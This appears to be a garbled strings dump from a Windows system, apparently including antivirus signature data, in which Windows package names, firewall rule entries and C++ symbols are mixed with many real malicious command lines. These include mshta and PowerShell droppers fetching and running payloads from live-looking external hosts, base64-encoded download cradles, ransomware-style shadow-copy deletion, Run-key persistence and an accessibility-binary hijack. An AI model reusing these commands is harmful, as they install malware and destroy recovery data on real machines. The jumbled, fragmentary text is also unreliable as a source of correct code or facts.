C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
.Windows
Microsoft.WindowsCalculator_11.2502.2.0_neutral_H
Windows.Data.Unifi
Microsoft.Windows.Security.BCrypt
WINDOWS11
windows.hlp`
:\windows\syEs
dows\system32\BD\
s\system32
u8twindows8_osc:\
veil/go/src/runtime/os_windows.go
SHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe
system32\shell32.dll
temRoot%\system32\mswsock.dl
jpg&&call%windir%\system32\%r1%r324
RemoveWindowsOld
	j\Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Task\SenseTask.exe
\Device\HarddiskVolume3\Windows\System32\LogonUI.exe
\Device\HarddiskVolume3\Windows\explorer.exe37DA
Microsoft.WindowsTerminal_8wekyb3d8bbwe^(
Microsoft.WindowsStore_8wekyb3d8bbwe]0
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\*
Microsoft.WindowsNotepad_8wekyb3d8bbwe[.
Microsoft.WindowsFeedbackHub_8wekyb3d8bbweZ)
Microsoft.WindowsCamera_8wekyb3d8bbweY-
Microsoft.WindowsCalculator_8wekyb3d8bbweX)
Microsoft.WindowsAlarms_8wekyb3d8bbweW*
Microsoft.Windows.Photos_8wekyb3d8bbweV+
Microsoft.Windows.DevHome_8wekyb3d8bbweU%
Windows.PrintDialog_cw5n1h2txyewy2/
windows.immersivecontrolpanel_cw5n1h2txyewy1$
Windows.CBSPreview_cw5n1h2txyewy01
MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy.0
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-.
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy,1
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy+0
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy).
MicrosoftWindows.Client.Core_cw5n1h2txyewy*-
MicrosoftWindows.Client.CBS_cw5n1h2txyewy(2
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy'2
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy&2
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy%2
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy$2
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy#.
Microsoft.WindowsAppRuntime.CBS.1.8_8wekyb3d8bbwe!5
Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbwe 1
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe71
Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe33
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CapturePicker_cw5n1h2txyewy
Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy
WindowsAIKHash
Microsoft.WindowsFeedbackHub_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-ServerCapability
Microsoft.WindowsCamera_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-Intranet0
\Device\HarddiskVolume3\Windows\System32\dmclient.exe
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\Device\HarddiskVolume3\Windows\System32\UCPDMgr.exertin
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
\Device\HarddiskVolume3\Windows\System32\ApplicationFrameHost.exe
Microsoft.WindowsNotepad_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-BlockvkT
Microsoft.WindowsTerminal_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Block65x
Microsoft.WindowsTerminal_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-InternetClient
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
C:\WINDOWS\system32\backgroundTaskHost.exe
MicrosoftWindows.Client.CBS_cw5n1h2txyewyC3F0}
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
en\Device\HarddiskVolume3\Windows\System32\rgnupdt.exe
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-InternetClienth
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities
microsoft.windows.fontdrvhostS-1-5-18-In-Block
\Device\HarddiskVolume3\Windows\SystemTemp\FD0747FA-22E1-45ED-BFA0-00E581BC419FMpCommU\UpdatePlatform.exe
\Device\HarddiskVolume3\Windows\System32\cmd.exe0
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
\Device\HarddiskVolume3\Windows\System32\OOBEFodSetup.exe
\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe
\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
1-Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-Intranetindow
1-Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-Intranetosof
ofMicrosoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-Internet
\Device\HarddiskVolume3\Windows\System32\ApplicationFrameHost.exe
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Blockc
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Block
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-Intranet-Authenticatep
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-Intranet-Authenticate
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-Internet-100
\Device\HarddiskVolume3\Windows\System32\cmd.exe
72windows.immersivecontrolpanel_cw5n1h2txyewy
Microsoft.WindowsNotepad_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Block
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities
Microsoft.WindowsStore_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-In-Allow-ServerCapability
\Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy
\Device\HarddiskVolume3\Windows\System32\sc.exe
WindowsUEFICA2023Capable
\Device\HarddiskVolume3\Windows\System32\consent.exe
%SystemRoot%\system32\mswsock.dll
%windir%\system32\vsocklib.dll
%programfiles%\Orbit\bin\osqueryd\windows\stable\osqueryd.exe
policybypass-windowstylehidden-
\windowsnt\currentversion
Microsoft.Windows.Photos_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities
Microsoft.WindowsTerminal_8wekyb3d8bbwe
\Device\HarddiskVolume3\Windows\System32\msiexec.exe
\Device\HarddiskVolume3\Windows\System32\CompatTelRunner.exe
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewyS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-InternetClient
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewyS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities
Windows Error Reporting
woC:\Windows\System32\l3codeca.acm
C:\Windows\System32\mrt_map.dlll
C:\Windows\System32\iertutil.dll
C:\Windows\System32\msiwer.dllll
Windows Search
Windows Advanced Threat Protection
Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{d07e8c3f-78fb-4c22-b77c-2203d00bfdf3}
Microsoft\Windows\CurrentVersion\WINEVT\Publishers\{7628e972-6d6f-4974-b58f-6428622ec09a}
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
fd^com.microsoft.windows.ey
103^com.microsoft.windows.ez
!C:\WINDOWS\system32\wbem\wmiprvse.exe
GetWindowsAccountDomainSid
EGL_CreatePlatformWindowSurfaceEXT
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS11
^security.principal.windowsbuiltinrole]::administrator
=createobject("wscript.shell")mykey="hkey_current_user\software\microsoft\windows\currentversion\run\"&
cmd.exefr/d/c^sta^rt^m^sie^x^e^c/^p^ack^age"http://0j.re:8080/bobtb5buh3cfi/9o5jr/jbfg1gqja/%computername%"-^q^u^i^e^t%windir%\system32\imageres.dll%
rc:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://tiffany-careers.com/ha_19-12nghep_anh')
c:\windows\system32\cmd.exe/ccd/d%temp%&curl-ohttps://cdn.glitch.global/59e3786e-8284-4f16-8844-134b12e58b6f/2.hta?v=1724079719071&mshta%temp%\2.hta
c:\windows\system32\syncappvpublishingserver.vbs;.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://uploadfiles24.online/hta/1.hta
OS=Windows_NT
OS=Windows_NT
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Microsoft.Windows.Shell.UserProfiles
Microsoft.Windows.ProfileService
Microsoft.Windows.Storage.StorageReserve
WINDOWS11
/c:\windows\system32\cmd.exe/ccopyimage.jpg%temp%\
","SettingPaths":[{"System.Setting.PageID":"SettingsPageRestoreMusUpdate"}],"System.Comment":"Windows Update settings","System.HighKeywords":"automatic;autoupdate;autoupdates;check;checks;fix;fixes;patch;patches;security;updates;updater;up-dates;updating;Windowsupdate;Wupdater;udpate;upgrade;manage update;pause update;get update"},{"System.ParsingName":"AAA_SettingsPageRestoreOneBackup","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
\Windows\R
162^com.microsoft.windows.telemetryid
WindowsCodecs.dlla
\Users\YoavShaharabani\source\repos\windows-scenarios\Payloads\NativeRansomewareDll\x64\RandomKey_ManualAes_Overwrite\NativeRansomewareDll.pdbTrojan:Win64/CymulateRansomTest.MKW!MTB
\Users\YoavShaharabani\source\repos\windows-scenarios\Payloads\NativeRansomewareDll\x64\
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
.bat-outfile$env:tmp\system32.bat;start-process
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-commandm^s^h^t^a^^h^t^t^p^s^:^/^/^e^z^s^t^a^t^.^r^u^/^f^l^o^w^e^r^s^f^o^r^l^o^v^e^.^g^i^f
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaaigboahqadabwahmaogavac8ababpag4aawayadqalgbrahialwbdadaaqgaxafcaoqbqacia
xc:\windows\system32\forfiles.exe/pc:\windows/mhelppane.exe/c"powershell.\*i*\*2\msh*ehttps://tim1lis.vibrant-minds.shop/api/uz/024696872/trump.json
c:\c:\windows\system32\cmd.exe/kpowershellwgethttps://mrna-cod-held-witch.trycloudflare.com/file.bat-outfile%tmp%\file.bat&&cmd.exe/k%tmp%\file.bat
c:\windows\system32\cmd.exe/ccurl
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://185.38.142.128/test.sp
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$00U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@U?$IAsyncOperation@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@234@@@YAJPEAU?$IAsyncOperation@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@PEAUIOnlineIdSystemTicketResult@23456@@Internal@Foundation@Windows@ABI@@@Foundation@Windows@ABI@@
.?AU?$IAsyncOperationCompletedHandler@PEAVOnlineIdSystemTicketResult@OnlineId@Authentication@Security@Windows@ABI@@@Foundation@Windows@ABI@@
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
c:\windows\system32
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-RegulatedPackages-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.7623.cat|Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
CreateObject(text1("category")).exec "c:\windows\explorer " + 
com.microsoft.windows.extensions.xaml.desktopspotlight
94^com.microsoft.windows.e
99^com.microsoft.windows.e
138^com.microsoft.windows.extensionpackage
139^com.microsoft.windows.extensionpackage
13a^com.microsoft.windows.extensions.xaml.snaplayout
com.microsoft.windows.extensions.xaml.snaplayout
c:\windows\system32\windowspowershell\v1.0\powershell.exe-encodedsqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagaggadab0ahaaogavac8aoqaxac4aoqayac4amga1adialgaxadaanwa6aduamqavagqalgbiageadaagac0atwb1ahqargbpagwazqagacqazqbuahyaogb0aguabqbwafwazabzadmasaauagmazqbyadsaiabjaguacgb0ahuadabpagwaiaatagqazqbjag8azablacaajablag4adga6ahqazqbtahaaxabkahmamwbiac4aywblahiaiaakaguabgb2adoadablag0acabcagkabgbvaggalgbiageadaa7afmadabhahiadaatafaacgbvagmazqbzahmaiaakaguabgb2adoadablag0acabcagkabgbvaggalgbiageadaa7aa==
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-whidden-encjabzad0atgblahcalqbpagiaagblagmadaagaekatwauae0azqbtag8acgb5afmadabyaguayqbtadsasqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaaaab0ahqacabzadoalwavahmayqb0ahmazqbyahyaaqbjagkabwbzagqaaqbnagkadabhagwalgbkagkazwbpahqayqbsac8atwbmagkabablac8acwbjahiaaqbwahqaxwboahqayqauagiawaagac0atwb1ahqargbpagwazqagacqazqbuahyaogbuaeuatqbqafwazabvag0algboahqayqa7afmadabhahiadaatafaacgbvagmazqbzahmaiabtahmaaab0ageaiaakaguabgb2adoavabfae0auabcagqabwbtac4aaab0agea
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\mshta.exe
WindowsPerformanceRecorderControl.dll
C:\WINDOWS\resources
C:\WINDOWS\system32
C:\WINDOWS
CSIDL_WINDOWS
GetWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.NetworkInformation
Microsoft.Windows.TlgAggregateInternal
Windows.Networking.Connectivity.pdb
zc:\windows/mn8
Windows.Data.QuickActions.ControlCenterSettings
 @Windows.Data.Settings.SettingPageUsage
 @Windows.Data.Apps.PackagedProducts
 @Windows.Data.Settings.SettingsUsageHistory
 @Windows.Data.Signals.IndexerQueryCondition
 @Windows.Data.DockingDisplaySettings
 @Windows.Data.HomeScreenBackground.Configuration
 @Windows.Data.QuickActions.QuickActionGroup
 @Windows.Data.Apps.TileMatchingInfo
 @Windows.Data.Settings.RankedSettingEntry
 @Windows.Data.Signals.UsageHistoryCondition
 @Windows.Data.Apps.AppMatchingInfo
 @Windows.Data.ExternalDisplayModeSettings
 @Windows.Data.Signals.SystemStateCondition
 @Windows.Data.Apps.UnpackagedProducts
 @Windows.Data.Signals.TimestampCondition
 @Windows.Data.Apps.AppCompatProviderResults
 @Windows.Data.Signals.BaseCondition
 @Windows.Data.QuickActions.QuickAction
 @Windows.Data.QuickActions.QuickActionLayout
 @Windows.Data.Signals.Registrations
 @Windows.Data.LocalRemovedKeyboards
 @Windows.Data.Signals.MLModelCondition
 @Windows.Data.Signals.SignalMemoryCondition
 @Windows.Data.SharePicker.MRUList
 @Windows.Data.SharePicker.BaseMRUItem
 @Windows.Data.SharePicker.MRUItem
 @Windows.Data.SharePicker.CopyLinkMRUItem
 @Windows.Data.LunarCalendarPerDevice
 @Windows.Data.Platform.Partitioning.PartitionSet
 @Windows.Data.SharePicker.CustomAppMRUItem
 @minimizeWindowsOnMonitorDisconnect
 @Windows.Data.Settings.DateTimeSettings.TimeZone
 @Windows.Data.Notifications.QuietHoursProfile
 @Windows.Data.ControlCenter.UsageCount
 @Windows.Data.CuratedTileCollection.Tile
&Orsivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
ersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
windows.hlp`
-windowstylehidden
earch settings|Windows search|battery|
\windows defender advanced threat
u@,ifplt=='windows':os.system('regaddhkcu\\software\\microsoft\\windows\\currentversion\\policies\\system/vdisabletaskmgr/treg_dword/d1/f')os.system('vssadmin.exedeleteshadows/all/quiet')os.system('c:\\\\windows\\\\system32\\\\wbem\\\\wmic.exeshadowcopydelete')
\Microsoft\Windows\Start Menu\Program
A.jar9oywhsfiglnufglpncktdmkfubtptjpowaviqmevwhuyejtbunbmla.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\oywhsfiglnufglpncktdmkfubtptjpowaviqmevwhuyejtbunbmla.jar
RBc:\windows\system32\windowspowershell\v1.0\powershell.exe$bixmsjq=get-wmiobject-namespace'root\securitycenter2'-classantivirusproduct-computername$env:computername;foreach($qskpihvin$bixmsjq){if($qskpihv.displayname-replace'windowsdefender',''){exit}};\w*\\*2\\\\msh*e'??ht??t?p?://new-tech-savvy.com/6.h???t??a'.replace('?','')
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddenecho21;&(get-commandin***********e-webr*)-urihttp://i-like-hokku.co.ua/securitycheck.exe-outfilesecuritycheck.exe;startsecuritycheck.exe;&(get-commandin**********************e-webre*)-urihttp://i-like-hokku.co.ua/sud/dvs.exe-outfiledvs.exe;startdvs.exe
stupid windows defender
system32\cmd.exe/c"(
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetConnectionProfiles(struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::ConnectionProfile *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
void __cdecl Windows::Networking::Connectivity::GetAttributedNetworkUsageOperationServer::GetAttributedNetworkUsageCallback(void) noexcept
long __cdecl Windows::Networking::Connectivity::LanIdentifierDataServer::get_Type(unsigned int *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_NetworkSecuritySettings(struct Windows::Networking::Connectivity::INetworkSecuritySettings **) noexcept
long __cdecl Windows::Networking::Connectivity::DataPlanStatusServer::get_DataLimitInMegabytes(struct Windows::Foundation::IReference<unsigned int> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_OverDataLimit(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
long __cdecl Windows::Networking::Connectivity::WlanConnectionProfileServer::GetConnectedSsid(struct HSTRING__ **) noexcept
Cslong __cdecl Windows::Networking::Connectivity::DataPlanStatusServer::get_NextBillingCycle(struct Windows::Foundation::IReference<struct Windows::Foundation::DateTime> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateNetworkItem(unsigned int,struct Windows::
p)4Windows.D
="c:\windows\6
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.AppModel.Tiles
Microsoft.Windows.StateRepository.Service
WindowsDuplicateString
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
Windows.Networking.Connectivity.dll
\$Pdows::Networking::Connectivity::LanIdentifierServer::get_PortId(struct Windows::Networking::Connectivity::ILanIdentifierData **) noexcept
long __cdecl Windows::Networking::Connectivity::LanIdentifierServer::get_NetworkAdapterId(struct _GUID *) noexcept
long __cdecl Windows::Networking::Connectivity::AttributedNetworkUsageServer::get_BytesReceived(unsigned __int64 *) noexcept
Windows.Networking.HostName.dll
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetLocalUsagePerRoamingStates(struct Windows::Foundation::DateTime,struct Windows::Foundation::DateTime,enum Windows::Networking::Connectivity::RoamingStates,struct Windows::Networking::Connectivity::IDataUsage **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_WwanConnectionProfileDetails(struct Windows::Networking::Connectivity::IWwanConnectionProfileDetails **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_ServiceProviderGuid(struct Windows::Foundation::IReference<struct _GUID> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetSignalBars(struct Windows::Foundation::IReference<unsigned char> **) noexcept
IConnectionProfionPrivateServer::GetConnectedProfileAsync(struct _GUID,struct Windows::Foundation::IAsyncOperation<class Windows::Networking::Connectivity::ConnectionProfile *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectivityManagerServer::AddHttpRoutePolicy(struct Windows::Networking::Connectivity::IRoutePolicy *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectivityManagerServer::RemoveHttpRoutePolicy(struct Windows::Networking::Connectivity::IRoutePolicy *) noexcept
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetSortedEndpointPairs(struct Windows::Foundation::Collections::IIterable<class Windows::Networking::EndpointPair *> *,enum Windows::Networking::HostNameSortOptions,struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::EndpointPair *> **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateAndInitAcquireConnectionOperation(struct Windows::Networking::Connectivity::ICellularApnContext *,struct Windows::Foundation::IAsyncOperation<class Windows::Networking::Connectivity::ConnectionSession *> **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectionProfile(struct _GUID,struct HSTRING__ *,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformati
ae^com.microsoft.windows.extensionpackage
b0^com.microsoft.windows.extensionpackage
b3^com.microsoft.windows.extensionpackage
CreateObject("Microsoft.XMLDOM").CreateElement("b64")dataType = "bin.base64": .nodeTypedValueCreateTextFile(Pathh & "Script.ps1", True)C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\FSO2.CreateTextFile(Pathh & "Updater.vbs", True)Trojan:HTML/Phish.PAHV!MTB
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetDataPlanStatus(struct Windows::Networking::Connectivity::IDataPlanStatus **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_WlanConnectionProfileDetails(struct Windows::Networking::Connectivity::IWlanConnectionProfileDetails **) noexcept
r;long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::GetNetworkUsageOperationServer::GetNetworkUsageCallback(void) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::FindConnectionProfiles(struct Windows::Networking::Connectivity::IConnectionProfileFilter *,unsigned long,struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::ConnectionProfile *> **) noexcept
Fvoid __cdecl Windows::Networking::Connectivity::GetProxyConfigurationOperationServer::DoGetProxyConfiguration(void) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkNames(struct Windows::Foundation::Collections::IVectorView<struct HSTRING__ *> **) noexcept
